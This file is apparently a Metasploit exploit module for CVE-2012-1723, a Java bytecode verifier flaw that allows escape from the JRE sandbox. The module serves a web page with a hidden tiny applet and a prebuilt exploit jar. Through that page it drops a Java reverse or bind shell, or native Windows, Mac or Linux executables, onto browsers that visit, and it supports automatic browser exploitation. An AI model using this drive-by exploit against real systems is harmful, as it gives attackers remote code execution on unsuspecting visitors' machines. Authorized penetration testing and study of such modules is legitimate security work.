##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({ javascript: false })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',
        'Description' => %q{
          This module exploits a vulnerability in HotSpot bytecode verifier where an invalid
          optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient
          type checks. This allows a way to escape the JRE sandbox, and load additional classes
          in order to perform malicious operations.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Stefan Cornelius', # Discoverer
          'mihi',                  # Vuln analysis
          'littlelightlittlefire', # metasploit module
          'juan vazquez',          # merged code (overlapped)
          'sinn3r'                 # merged code (overlapped)
        ],
        'References' => [
          ['CVE', '2012-1723'],
          ['OSVDB', '82877'],
          ['BID', '52161'],
          ['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],
          ['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],
          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],
          ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],
          ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']
        ],
        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
        'Targets' => [
          [
            'Generic (Java Payload)',
            {
              'Platform' => ['java'],
              'Arch' => ARCH_JAVA
            }
          ],
          [
            'Windows x86 (Native Payload)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
          [
            'Mac OS X PPC (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC
            }
          ],
          [
            'Mac OS X x86 (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86
            }
          ],
          [
            'Linux x86 (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-06-06',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit
    # load the static jar file
    path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2012-1723.jar')
    fd = File.open(path, 'rb')
    @jar_data = fd.read(fd.stat.size)
    fd.close

    super
  end

  def on_request_uri(cli, request)
    data = ''
    host = ''
    port = ''

    if !request.uri.match(/\.jar$/i)
      if !request.uri.match(%r{/$})
        send_redirect(cli, get_resource + '/', '')
        return
      end

      print_status("Sending #{name}")

      payload = regenerate_payload(cli)
      if !payload
        print_error('Failed to generate the payload.')
        return
      end

      if target.name == 'Generic (Java Payload)'
        if datastore['LHOST']
          jar = payload.encoded
          host = datastore['LHOST']
          port = datastore['LPORT']
          vprint_status('Sending java reverse shell')
        else
          port = datastore['LPORT']
          host = cli.peerhost
          vprint_status('Java bind shell')
        end
        if jar
          print_status("Generated jar to drop (#{jar.length} bytes).")
          jar = Rex::Text.to_hex(jar, '')
        else
          print_error('Failed to generate the executable.')
          return
        end
      else

        # NOTE: The EXE mixin automagically handles detection of arch/platform
        data = generate_payload_exe

        print_status("Generated executable to drop (#{data.length} bytes).")
        data = Rex::Text.to_hex(data, '')

      end

      send_response_html(cli, generate_html(data, jar, host, port), { 'Content-Type' => 'text/html' })
      return
    end

    print_status('Sending jar')
    send_response(cli, generate_jar, { 'Content-Type' => 'application/octet-stream' })

    handler(cli)
  end

  def generate_html(data, jar, host, _port)
    jar_name = rand_text_alpha(rand(3..8)) + '.jar'

    html = '<html><head></head>'
    html += '<body>'
    html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"
    html += "<param name=\"data\" value=\"#{data}\"/>" if data
    html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
    html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
    html += '</applet></body></html>'
    return html
  end

  def generate_jar
    @jar_data
  end
end